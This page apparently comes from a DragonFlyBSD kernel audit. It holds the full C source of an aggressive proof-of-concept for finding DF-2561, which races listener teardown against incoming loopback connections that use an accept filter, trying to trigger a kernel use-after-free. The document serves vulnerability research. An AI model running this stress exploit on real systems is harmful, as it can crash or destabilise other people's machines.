DragonFlyBSD Kernel Audit
DF-2561 / df2561b.c
← back to finding ↓ download raw
/*
 * DF-2561 PoC v2 - maximally aggressive variant.
 *
 * Differences from v1:
 *  - NO acceptor thread: let the accept queue fill (more children
 *    stuck in so_incomp waiting for soisconnected to move them).
 *  - More rotators (4) and many more connectors (16).
 *  - Each rotator closes the listener and waits a tiny bit before
 *    re-creating, to widen the window where a child's soisconnected
 *    might race against the listener's sodealloc/free-so_accf.
 *
 * Build:  cc -O2 -o df2561b df2561b.c -lpthread
 * Run:    ./df2561b <seconds>
 */

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#include <time.h>
#include <fcntl.h>

#ifndef SO_ACCEPTFILTER
#define SO_ACCEPTFILTER 0x1000
#endif

static volatile int g_stop = 0;
static volatile int g_listen_fd = -1;
static in_port_t g_port = 0;
static volatile int g_rotations = 0;
static volatile int g_connects = 0;

static void msleep_ms(int ms){ struct timespec ts={ms/1000,(ms%1000)*1000000L}; nanosleep(&ts,NULL); }
static void set_nonblocking(int fd){ int fl=fcntl(fd,F_GETFL,0); if(fl>=0) (void)fcntl(fd,F_SETFL,fl|O_NONBLOCK); }

static int set_accf(int fd){
    struct accept_filter_arg afa; memset(&afa,0,sizeof(afa));
    strncpy(afa.af_name,"dataready",sizeof(afa.af_name)-1);
    return setsockopt(fd,SOL_SOCKET,SO_ACCEPTFILTER,&afa,sizeof(afa));
}

static int make_listener(in_port_t *pport){
    int fd=socket(AF_INET,SOCK_STREAM,0); if(fd<0) return -1;
    int one=1; setsockopt(fd,SOL_SOCKET,SO_REUSEADDR,&one,sizeof(one));
    struct sockaddr_in sa; memset(&sa,0,sizeof(sa));
    sa.sin_family=AF_INET; sa.sin_addr.s_addr=htonl(INADDR_LOOPBACK); sa.sin_port=0;
    socklen_t slen=sizeof(sa);
    if(bind(fd,(struct sockaddr*)&sa,sizeof(sa))<0){ close(fd); return -1; }
    if(getsockname(fd,(struct sockaddr*)&sa,&slen)<0){ close(fd); return -1; }
    *pport=sa.sin_port;
    if(listen(fd,512)<0){ close(fd); return -1; }   /* big backlog to fill so_incomp */
    if(set_accf(fd)<0){ close(fd); return -1; }
    return fd;
}

static void *connector_fn(void *arg){
    (void)arg;
    while(!g_stop){
        int fd=socket(AF_INET,SOCK_STREAM,0); if(fd<0){ msleep_ms(1); continue; }
        set_nonblocking(fd);
        struct sockaddr_in sa; memset(&sa,0,sizeof(sa));
        sa.sin_family=AF_INET; sa.sin_addr.s_addr=htonl(INADDR_LOOPBACK); sa.sin_port=g_port;
        int rc=connect(fd,(struct sockaddr*)&sa,sizeof(sa));
        if(rc==0||(rc<0&&errno==EINPROGRESS)){
            char b='x'; (void)write(fd,&b,1);
            g_connects++;
        }
        /* leak many sockets intentionally so children pile up */
        if ((g_connects & 0x3ff) != 0) close(fd);
    }
    return NULL;
}

static void *rotator_fn(void *arg){
    (void)arg;
    while(!g_stop){
        int old=g_listen_fd;
        if(old>=0) close(old);      /* drives sodealloc -> free so_accf */
        msleep_ms(0);               /* yield to widen the race window */
        in_port_t port=0;
        int nfd=make_listener(&port);
        if(nfd<0){ g_listen_fd=-1; msleep_ms(1); continue; }
        g_port=port; g_listen_fd=nfd; g_rotations++;
    }
    return NULL;
}

int main(int argc,char**argv){
    int seconds=25; if(argc>1) seconds=atoi(argv[1]); if(seconds<1) seconds=1;
    in_port_t port=0; int fd=make_listener(&port);
    if(fd<0){ fprintf(stderr,"make_listener failed\n"); return 2; }
    g_listen_fd=fd; g_port=port;
    signal(SIGPIPE,SIG_IGN);
    pthread_t conn[16], rot[4];
    for(int i=0;i<16;i++) pthread_create(&conn[i],NULL,connector_fn,NULL);
    for(int i=0;i<4;i++)  pthread_create(&rot[i],NULL,rotator_fn,NULL);
    printf("[parent] aggressive hammer %ds (no acceptor, 16 conn, 4 rot)\n",seconds); fflush(stdout);
    for(int s=0;s<seconds&&!g_stop;s++){ sleep(1);
        printf("[parent] t+%d rotations=%d connects=%d\n",s+1,g_rotations,g_connects); fflush(stdout);
    }
    g_stop=1; msleep_ms(300);
    printf("[parent] DONE rotations=%d connects=%d RESULT=NO_CRASH\n",g_rotations,g_connects);
    fflush(stdout); return 0;
}